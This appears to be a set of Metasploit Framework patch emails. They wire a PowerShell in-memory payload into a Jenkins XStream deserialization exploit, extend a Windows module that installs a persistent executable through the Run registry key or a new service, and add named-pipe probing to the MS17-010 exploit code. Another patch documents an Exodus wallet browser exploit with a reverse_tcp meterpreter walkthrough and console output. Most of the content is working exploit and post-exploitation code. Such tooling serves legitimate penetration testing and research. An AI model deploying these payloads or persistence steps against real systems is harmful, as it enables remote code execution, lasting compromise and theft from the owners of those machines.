From 1c156c3d3cc93d973d6c621feaecab36f86e5b09 Mon Sep 17 00:00:00 2001 From: attackdebris Date: Tue, 16 Jan 2018 14:30:02 +0000 Subject: [PATCH 001/105] Add powershell payload to module --- .../multi/http/jenkins_xstream_deserialize.rb | 26 ++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jenkins_xstream_deserialize.rb b/modules/exploits/multi/http/jenkins_xstream_deserialize.rb index f68ad258ed..5f8072ded1 100644 --- a/modules/exploits/multi/http/jenkins_xstream_deserialize.rb +++ b/modules/exploits/multi/http/jenkins_xstream_deserialize.rb @@ -43,6 +43,10 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'python', 'Arch' => ARCH_PYTHON ], + ['PowerShell (In-Memory)', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] @@ -57,6 +61,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), + OptString.new('PSH_PATH', [false, 'Path to powershell.exe', '']), + OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for connect back", 30]), Opt::RPORT('8080') ]) deregister_options('URIPATH') @@ -82,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit case target.name - when /Unix/, /Python/ + when /Unix/, /Python/, /PowerShell/ execute_command(payload.encoded) else execute_cmdstager @@ -99,6 +105,9 @@ class MetasploitModule < Msf::Exploit::Remote %W{python -c #{cmd}} when /Windows/ %W{cmd.exe /c #{cmd}} + when /PowerShell/ + psh_opts = { :remove_comspec => true, :wrap_double_quotes => true } + %W{cmd.exe /c #{cmd_psh_payload(cmd, payload_instance.arch.first, psh_opts)}} end # Encode each command argument with XML entities @@ -111,6 +120,21 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => 'application/xml', 'data' => xstream_payload(cmd) ) + wait_for_powershell_session + end + + def wait_for_powershell_session + print_status "Waiting for exploit to complete..." + begin + Timeout.timeout(datastore['ListenerTimeout']) do + loop do + break if session_created? + Rex.sleep(0.25) + end + end + rescue ::Timeout::Error + fail_with(Failure::Unknown, "Timeout waiting for exploit to complete") + end end def xstream_payload(cmd) From 9600acabc5e9a862d3c26bcf6f7b167a6a2489e6 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 22 Feb 2018 12:00:47 +0800 Subject: [PATCH 002/105] Update persistence_exe.rb --- .../post/windows/manage/persistence_exe.rb | 63 +++++++++++++++---- 1 file changed, 51 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index 442d92df8c..c00deb52c2 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -1,10 +1,8 @@ -### -## This module requires Metasploit: http://metasploit.com/download -## Current source: https://github.com/rapid7/metasploit-framework -### +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## -require 'msf/core' -require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Post super(update_info(info, 'Name' => 'Windows Manage Persistent EXE Payload Installer', 'Description' => %q( - This Module will upload a executable to a remote host and make it Persistent. + This Module will upload an executable to a remote host and make it Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login, SYSTEM will start on system boot but requires privs. SERVICE will create a new service which will start the payload. Again requires privs. @@ -36,10 +34,18 @@ class MetasploitModule < Msf::Post register_options( [ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]), - OptPath.new('REXEPATH', [true, 'The remote executable to use.']), + OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']), OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']) ], self.class ) + + register_advanced_options( + [ + OptString.new('LEXEPATH', [false, 'The local exe path to run. Use temp directory as default. ']), + OptString.new('STARTUP_NAME', [false, 'The name of service or registry. Random string as default.' ]), + OptString.new('SERVICE_DESC', [false, 'The description of service. Random string as default.' ]) + ]) + end # Run Method for when run command is issued @@ -125,7 +131,7 @@ class MetasploitModule < Msf::Post # Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key, script_on_target) - nam = Rex::Text.rand_text_alpha(rand(8) + 8) + nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") if key registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ") @@ -139,10 +145,23 @@ class MetasploitModule < Msf::Post #------------------------------------------------------------------------------- def install_as_service(script_on_target) if is_system? || is_admin? + print_status("Installing as service..") - nam = Rex::Text.rand_text_alpha(rand(8) + 8) + nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) + description = datastore['SERVICE_DESC'] || Rex::Text.rand_text_alpha(8) print_status("Creating service #{nam}") - service_create(nam, nam, "cmd /c \"#{script_on_target}\"") + + key = service_create(nam, :path=>"cmd /c \"#{script_on_target}\"",:display=>description) + + # check if service had been created + if key != 0 + print_error("Service #{nam} creating failed.") + return + end + + # if service is stopped, then start it. + service_start(nam) if service_status(nam)[:state] == 1 + @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n" else print_error("Insufficient privileges to create service") @@ -152,8 +171,28 @@ class MetasploitModule < Msf::Post # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(rexe, rexename) - tempdir = session.fs.file.expand_path("%TEMP%") + + + if not datastore['LEXEPATH'].nil? + # check we have write permissions + # I made it by myself because the function filestat.writable? was not implemented yet. + testfile = datastore['LEXEPATH'] + "\\" + Rex::Text.rand_text_alpha(rand(8) + 8) + fd = session.fs.file.new(testfile,"w") + if fd + fd.close + session.fs.file.rm(testfile) + tempdir = datastore['LEXEPATH'] + else + print_warning("Insufficient privileges to write in #{datastore['LEXEPATH']}") + end + + # Write to %temp% directory if not writable or not set LEXEPATH + else + tempdir = session.fs.file.expand_path("%TEMP%") + end + temprexe = tempdir + "\\" + rexename + fd = session.fs.file.new(temprexe, "wb") fd.write(rexe) fd.close From 6a143bf265b44b5f0f79c60d318688846a11ffe6 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 22 Feb 2018 12:55:31 +0800 Subject: [PATCH 003/105] Update persistence_exe.rb --- .../post/windows/manage/persistence_exe.rb | 51 ++----------------- 1 file changed, 5 insertions(+), 46 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index c00deb52c2..a3107f5b33 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -34,18 +34,10 @@ class MetasploitModule < Msf::Post register_options( [ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]), - OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']), + OptPath.new('REXEPATH', [true, 'The remote executable to use.']), OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']) ], self.class ) - - register_advanced_options( - [ - OptString.new('LEXEPATH', [false, 'The local exe path to run. Use temp directory as default. ']), - OptString.new('STARTUP_NAME', [false, 'The name of service or registry. Random string as default.' ]), - OptString.new('SERVICE_DESC', [false, 'The description of service. Random string as default.' ]) - ]) - end # Run Method for when run command is issued @@ -131,7 +123,7 @@ class MetasploitModule < Msf::Post # Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key, script_on_target) - nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) + nam = Rex::Text.rand_text_alpha(rand(8) + 8) print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") if key registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ") @@ -145,23 +137,10 @@ class MetasploitModule < Msf::Post #------------------------------------------------------------------------------- def install_as_service(script_on_target) if is_system? || is_admin? - print_status("Installing as service..") - nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) - description = datastore['SERVICE_DESC'] || Rex::Text.rand_text_alpha(8) + nam = Rex::Text.rand_text_alpha(rand(8) + 8) print_status("Creating service #{nam}") - - key = service_create(nam, :path=>"cmd /c \"#{script_on_target}\"",:display=>description) - - # check if service had been created - if key != 0 - print_error("Service #{nam} creating failed.") - return - end - - # if service is stopped, then start it. - service_start(nam) if service_status(nam)[:state] == 1 - + service_create(nam, :path=>"cmd /c \"#{script_on_target}\"") @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n" else print_error("Insufficient privileges to create service") @@ -171,28 +150,8 @@ class MetasploitModule < Msf::Post # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(rexe, rexename) - - - if not datastore['LEXEPATH'].nil? - # check we have write permissions - # I made it by myself because the function filestat.writable? was not implemented yet. - testfile = datastore['LEXEPATH'] + "\\" + Rex::Text.rand_text_alpha(rand(8) + 8) - fd = session.fs.file.new(testfile,"w") - if fd - fd.close - session.fs.file.rm(testfile) - tempdir = datastore['LEXEPATH'] - else - print_warning("Insufficient privileges to write in #{datastore['LEXEPATH']}") - end - - # Write to %temp% directory if not writable or not set LEXEPATH - else - tempdir = session.fs.file.expand_path("%TEMP%") - end - + tempdir = session.fs.file.expand_path("%TEMP%") temprexe = tempdir + "\\" + rexename - fd = session.fs.file.new(temprexe, "wb") fd.write(rexe) fd.close From 473fef8107620a8f3baefb695bc2f2d0612adbf7 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 22 Feb 2018 12:55:56 +0800 Subject: [PATCH 004/105] Update persistence_exe.rb --- .../post/windows/manage/persistence_exe.rb | 51 +++++++++++++++++-- 1 file changed, 46 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index a3107f5b33..c00deb52c2 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -34,10 +34,18 @@ class MetasploitModule < Msf::Post register_options( [ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]), - OptPath.new('REXEPATH', [true, 'The remote executable to use.']), + OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']), OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']) ], self.class ) + + register_advanced_options( + [ + OptString.new('LEXEPATH', [false, 'The local exe path to run. Use temp directory as default. ']), + OptString.new('STARTUP_NAME', [false, 'The name of service or registry. Random string as default.' ]), + OptString.new('SERVICE_DESC', [false, 'The description of service. Random string as default.' ]) + ]) + end # Run Method for when run command is issued @@ -123,7 +131,7 @@ class MetasploitModule < Msf::Post # Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key, script_on_target) - nam = Rex::Text.rand_text_alpha(rand(8) + 8) + nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") if key registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ") @@ -137,10 +145,23 @@ class MetasploitModule < Msf::Post #------------------------------------------------------------------------------- def install_as_service(script_on_target) if is_system? || is_admin? + print_status("Installing as service..") - nam = Rex::Text.rand_text_alpha(rand(8) + 8) + nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) + description = datastore['SERVICE_DESC'] || Rex::Text.rand_text_alpha(8) print_status("Creating service #{nam}") - service_create(nam, :path=>"cmd /c \"#{script_on_target}\"") + + key = service_create(nam, :path=>"cmd /c \"#{script_on_target}\"",:display=>description) + + # check if service had been created + if key != 0 + print_error("Service #{nam} creating failed.") + return + end + + # if service is stopped, then start it. + service_start(nam) if service_status(nam)[:state] == 1 + @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n" else print_error("Insufficient privileges to create service") @@ -150,8 +171,28 @@ class MetasploitModule < Msf::Post # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(rexe, rexename) - tempdir = session.fs.file.expand_path("%TEMP%") + + + if not datastore['LEXEPATH'].nil? + # check we have write permissions + # I made it by myself because the function filestat.writable? was not implemented yet. + testfile = datastore['LEXEPATH'] + "\\" + Rex::Text.rand_text_alpha(rand(8) + 8) + fd = session.fs.file.new(testfile,"w") + if fd + fd.close + session.fs.file.rm(testfile) + tempdir = datastore['LEXEPATH'] + else + print_warning("Insufficient privileges to write in #{datastore['LEXEPATH']}") + end + + # Write to %temp% directory if not writable or not set LEXEPATH + else + tempdir = session.fs.file.expand_path("%TEMP%") + end + temprexe = tempdir + "\\" + rexename + fd = session.fs.file.new(temprexe, "wb") fd.write(rexe) fd.close From 73292c25f8d5bd9d7061e3f892de481974c647d7 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 22 Feb 2018 14:17:40 +0800 Subject: [PATCH 005/105] Update persistence_exe.rb --- modules/post/windows/manage/persistence_exe.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index c00deb52c2..0b724b0dc6 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -145,7 +145,6 @@ class MetasploitModule < Msf::Post #------------------------------------------------------------------------------- def install_as_service(script_on_target) if is_system? || is_admin? - print_status("Installing as service..") nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) description = datastore['SERVICE_DESC'] || Rex::Text.rand_text_alpha(8) @@ -171,8 +170,6 @@ class MetasploitModule < Msf::Post # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(rexe, rexename) - - if not datastore['LEXEPATH'].nil? # check we have write permissions # I made it by myself because the function filestat.writable? was not implemented yet. From 9bae6246b2deb9d4af12e4f7bac9a45bf8ec6d52 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Sat, 24 Feb 2018 03:20:34 +0530 Subject: [PATCH 006/105] Check for accessible named pipe on vuln targets ``` msf5 auxiliary(scanner/smb/smb_ms17_010) > run [+] 192.168.0.2:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) [*] 192.168.0.2:445 - Checking for accessible named pipes [+] 192.168.0.2:445 - Found accessible named pipe: netlogon [+] 192.168.0.2:445 - Found accessible named pipe: lsarpc [+] 192.168.0.2:445 - Found accessible named pipe: samr [+] 192.168.0.2:445 - Found accessible named pipe: browser [+] 192.168.0.2:445 - Found accessible named pipe: atsvc [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` --- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index bf8250ff5b..bb5a94e1a7 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -90,6 +90,43 @@ class MetasploitModule < Msf::Auxiliary end print_good("Host is likely VULNERABLE to MS17-010! - #{os}") + + + # Detect accessible named pipes + print_status("Checking for accessible named pipes") + target_pipes = [ + 'netlogon', + 'lsarpc', + 'samr', + 'browser', + 'atsvc', + 'DAV RPC SERVICE', + 'epmapper', + 'eventlog', + 'InitShutdown', + 'keysvc', + 'lsass', + 'LSM_API_service', + 'ntsvcs', + 'plugplay', + 'protected_storage', + 'router', + 'SapiServerPipeS-1-5-5-0-70123', + 'scerpc', + 'srvsvc', + 'tapsrv', + 'trkwks', + 'W32TIME_ALT', + 'wkssvc', + 'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', + 'db2remotecmd' + ] + + target_pipes.each do |pipe| + pipe_name = "#{pipe}" + pipe_handle = self.simple.create_pipe(pipe_name, 'o') + print_good("Found accessible named pipe: #{pipe}") + end report_vuln( host: ip, name: self.name, From 46af6239df4de892db1e849bf5e93332f9a290c3 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Sat, 24 Feb 2018 08:50:39 +0530 Subject: [PATCH 007/105] Update smb_ms17_010.rb --- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index bb5a94e1a7..21f54059ca 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -93,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary # Detect accessible named pipes - print_status("Checking for accessible named pipes") + vprint_status("Checking for accessible named pipes") target_pipes = [ 'netlogon', 'lsarpc', @@ -121,12 +121,20 @@ class MetasploitModule < Msf::Auxiliary 'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ] - + accessible_pipes||=[] target_pipes.each do |pipe| pipe_name = "#{pipe}" pipe_handle = self.simple.create_pipe(pipe_name, 'o') - print_good("Found accessible named pipe: #{pipe}") + accessible_pipes << pipe end + if accessible_pipes.count != 0 + accessible_pipes.each do |a_pipe| + print_good("Following accessible named pipe(s) found: #{a_pipe.join(",")}") + end + else + vprint_status("No accessible named pipes found on the target") + end + report_vuln( host: ip, name: self.name, From a1587bcd6824296910737ceb32e15b0e03d246f1 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Sat, 24 Feb 2018 09:05:35 +0530 Subject: [PATCH 008/105] Update smb_ms17_010.rb --- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index 21f54059ca..9d7b42bbfe 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -127,10 +127,12 @@ class MetasploitModule < Msf::Auxiliary pipe_handle = self.simple.create_pipe(pipe_name, 'o') accessible_pipes << pipe end + p_pipes = "" if accessible_pipes.count != 0 accessible_pipes.each do |a_pipe| - print_good("Following accessible named pipe(s) found: #{a_pipe.join(",")}") + p_pipes += ", #{a_pipe}" end + print_good("Following accessible named pipe(s) found: #{p_pipes}") else vprint_status("No accessible named pipes found on the target") end From be77cb2a2b013c40c799ee259cba973a0b1de7b9 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Sat, 24 Feb 2018 11:04:41 +0530 Subject: [PATCH 009/105] Add pipe_auditor --- lib/msf/core/auxiliary/pipe_auditor.rb | 56 ++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 lib/msf/core/auxiliary/pipe_auditor.rb diff --git a/lib/msf/core/auxiliary/pipe_auditor.rb b/lib/msf/core/auxiliary/pipe_auditor.rb new file mode 100644 index 0000000000..215da0e03c --- /dev/null +++ b/lib/msf/core/auxiliary/pipe_auditor.rb @@ -0,0 +1,56 @@ +module Msf + +module Auxiliary::PIPEAudit + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super + register_options([ + OptString.new('RPORT', [true, 'The Target port', 445]) + ], Msf::Auxiliary::PIPEAudit) + end + + def connect_to_pipe + accessible_pipes||=[] + target_pipes = [ + 'netlogon', + 'lsarpc', + 'samr', + 'browser', + 'atsvc', + 'DAV RPC SERVICE', + 'epmapper', + 'eventlog', + 'InitShutdown', + 'keysvc', + 'lsass', + 'LSM_API_service', + 'ntsvcs', + 'plugplay', + 'protected_storage', + 'router', + 'SapiServerPipeS-1-5-5-0-70123', + 'scerpc', + 'srvsvc', + 'tapsrv', + 'trkwks', + 'W32TIME_ALT', + 'wkssvc', + 'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', + 'db2remotecmd' + ] + + target_pipes.each do |pipe| + begin + pipe_name = "#{pipe}" + pipe_handle = self.simple.create_pipe(pipe_name, 'o') + accessible_pipes << pipe_name + end + end + return accessible_pipes[0], pipe_handle + end +end +end + From 3f93055a72984c922748de678be8a2d7ca85e095 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Sat, 24 Feb 2018 11:14:03 +0530 Subject: [PATCH 010/105] Add pipe_auditor --- .../exploit/smb/client/psexec_ms17_010.rb | 21 +++---------------- 1 file changed, 3 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index 504cb5e3e5..99974ffc08 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -332,25 +332,10 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 end def find_accessible_named_pipe() - pipes = if datastore['NAMEDPIPE'] != '' then [datastore['NAMEDPIPE']] else @@target_pipes end + pipe_name, pipe_handle = connect_to_pipe() + @ctx['pipe_name'] = pipe_name + return pipe_handle - pipes.each do |pipe| - begin - pipe_name = "#{pipe}" - pipe_handle = self.simple.create_pipe(pipe_name, 'o') - - # if we make it this far, it succeeded - vprint_status("Connected to named pipe: #{pipe}") - - @ctx['pipe_name'] = pipe_name - return pipe_handle - - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error("Inaccessible named pipe: #{pipe} - #{e.message}") - end - end - - raise MS17_010_Error, "Unable to find accessible named pipe!" end # todo: spice it up with EternalSynergy output From 4b0cb7631ccc1a6054dace69264842652392c5be Mon Sep 17 00:00:00 2001 From: Auxilus Date: Sun, 25 Feb 2018 02:18:15 +0530 Subject: [PATCH 011/105] Update pipe_auditor.rb --- lib/msf/core/auxiliary/pipe_auditor.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/pipe_auditor.rb b/lib/msf/core/auxiliary/pipe_auditor.rb index 215da0e03c..63bb07d08f 100644 --- a/lib/msf/core/auxiliary/pipe_auditor.rb +++ b/lib/msf/core/auxiliary/pipe_auditor.rb @@ -14,6 +14,7 @@ module Auxiliary::PIPEAudit def connect_to_pipe accessible_pipes||=[] + a_pipe_handles||=[] target_pipes = [ 'netlogon', 'lsarpc', @@ -47,9 +48,10 @@ module Auxiliary::PIPEAudit pipe_name = "#{pipe}" pipe_handle = self.simple.create_pipe(pipe_name, 'o') accessible_pipes << pipe_name + a_pipe_handles << pipe_handle end end - return accessible_pipes[0], pipe_handle + return accessible_pipes[0], pipe_handle[0] end end end From f786a1cfb98f0caa3dd989340d421d9be9b62e73 Mon Sep 17 00:00:00 2001 From: Green-m Date: Mon, 26 Feb 2018 01:59:49 -0500 Subject: [PATCH 012/105] Add options LEXEPATH, STARTUP_NAME, SERVICE_DESC --- .../post/windows/manage/persistence_exe.rb | 48 +++++++++++++++++-- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index a3107f5b33..0b724b0dc6 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -34,10 +34,18 @@ class MetasploitModule < Msf::Post register_options( [ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]), - OptPath.new('REXEPATH', [true, 'The remote executable to use.']), + OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']), OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']) ], self.class ) + + register_advanced_options( + [ + OptString.new('LEXEPATH', [false, 'The local exe path to run. Use temp directory as default. ']), + OptString.new('STARTUP_NAME', [false, 'The name of service or registry. Random string as default.' ]), + OptString.new('SERVICE_DESC', [false, 'The description of service. Random string as default.' ]) + ]) + end # Run Method for when run command is issued @@ -123,7 +131,7 @@ class MetasploitModule < Msf::Post # Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key, script_on_target) - nam = Rex::Text.rand_text_alpha(rand(8) + 8) + nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") if key registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ") @@ -138,9 +146,21 @@ class MetasploitModule < Msf::Post def install_as_service(script_on_target) if is_system? || is_admin? print_status("Installing as service..") - nam = Rex::Text.rand_text_alpha(rand(8) + 8) + nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) + description = datastore['SERVICE_DESC'] || Rex::Text.rand_text_alpha(8) print_status("Creating service #{nam}") - service_create(nam, :path=>"cmd /c \"#{script_on_target}\"") + + key = service_create(nam, :path=>"cmd /c \"#{script_on_target}\"",:display=>description) + + # check if service had been created + if key != 0 + print_error("Service #{nam} creating failed.") + return + end + + # if service is stopped, then start it. + service_start(nam) if service_status(nam)[:state] == 1 + @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n" else print_error("Insufficient privileges to create service") @@ -150,8 +170,26 @@ class MetasploitModule < Msf::Post # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(rexe, rexename) - tempdir = session.fs.file.expand_path("%TEMP%") + if not datastore['LEXEPATH'].nil? + # check we have write permissions + # I made it by myself because the function filestat.writable? was not implemented yet. + testfile = datastore['LEXEPATH'] + "\\" + Rex::Text.rand_text_alpha(rand(8) + 8) + fd = session.fs.file.new(testfile,"w") + if fd + fd.close + session.fs.file.rm(testfile) + tempdir = datastore['LEXEPATH'] + else + print_warning("Insufficient privileges to write in #{datastore['LEXEPATH']}") + end + + # Write to %temp% directory if not writable or not set LEXEPATH + else + tempdir = session.fs.file.expand_path("%TEMP%") + end + temprexe = tempdir + "\\" + rexename + fd = session.fs.file.new(temprexe, "wb") fd.write(rexe) fd.close From 553a82a408753e1acdc4d5ac4b16351191a2aa75 Mon Sep 17 00:00:00 2001 From: Green-m Date: Mon, 26 Feb 2018 02:39:11 -0500 Subject: [PATCH 013/105] Add options LEXEPATH, STARTUP_NAME, SERVICE_DESC --- modules/post/windows/manage/persistence_exe.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index 0b724b0dc6..0889972d15 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -159,7 +159,7 @@ class MetasploitModule < Msf::Post end # if service is stopped, then start it. - service_start(nam) if service_status(nam)[:state] == 1 + service_start(nam) if service_status(nam)[:state] == 1 @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n" else @@ -170,21 +170,21 @@ class MetasploitModule < Msf::Post # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(rexe, rexename) - if not datastore['LEXEPATH'].nil? - # check we have write permissions + if not datastore['LEXEPATH'].nil? + # check we have write permissions # I made it by myself because the function filestat.writable? was not implemented yet. testfile = datastore['LEXEPATH'] + "\\" + Rex::Text.rand_text_alpha(rand(8) + 8) fd = session.fs.file.new(testfile,"w") - if fd + if fd fd.close session.fs.file.rm(testfile) - tempdir = datastore['LEXEPATH'] + tempdir = datastore['LEXEPATH'] else print_warning("Insufficient privileges to write in #{datastore['LEXEPATH']}") end # Write to %temp% directory if not writable or not set LEXEPATH - else + else tempdir = session.fs.file.expand_path("%TEMP%") end From 11881c102884035e8ea06e5607ed758e34f5df3b Mon Sep 17 00:00:00 2001 From: Daniel Teixeira Date: Mon, 26 Feb 2018 21:30:39 +0000 Subject: [PATCH 014/105] Exodus Documentation --- .../modules/exploit/windows/browser/exodus.md | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 documentation/modules/exploit/windows/browser/exodus.md diff --git a/documentation/modules/exploit/windows/browser/exodus.md b/documentation/modules/exploit/windows/browser/exodus.md new file mode 100644 index 0000000000..34dda87aed --- /dev/null +++ b/documentation/modules/exploit/windows/browser/exodus.md @@ -0,0 +1,45 @@ + +## Verification Steps +1. Install Exodus Wallet version `v1.38.0` +2. Start `msfconsole` +3. Do `use exploit/windows/browser/exodus` +4. Do `set PAYLOAD windows/meterpreter/reverse_tcp` +5. Do `set LHOST ip` +6. Do `exploit` +7. In the target machine browse to the malicious URL an launch Exodus +8. Verify the Meterpreter session is opened + +## Scenarios + +# Exodus Wallet on Windows 7 SP1 + +``` +msf > use exploit/windows/browser/exodus +msf exploit(windows/browser/exodus) > set PAYLOAD windows/meterpreter/reverse_tcp +PAYLOAD => windows/meterpreter/reverse_tcp +msf exploit(windows/browser/exodus) > set LHOST 172.16.40.5 +LHOST => 172.16.40.5 +msf exploit(windows/browser/exodus) > exploit +[*] Exploit running as background job 0. + +[*] Started reverse TCP handler on 172.16.40.5:4444 +[*] Using URL: http://0.0.0.0:80/ +msf 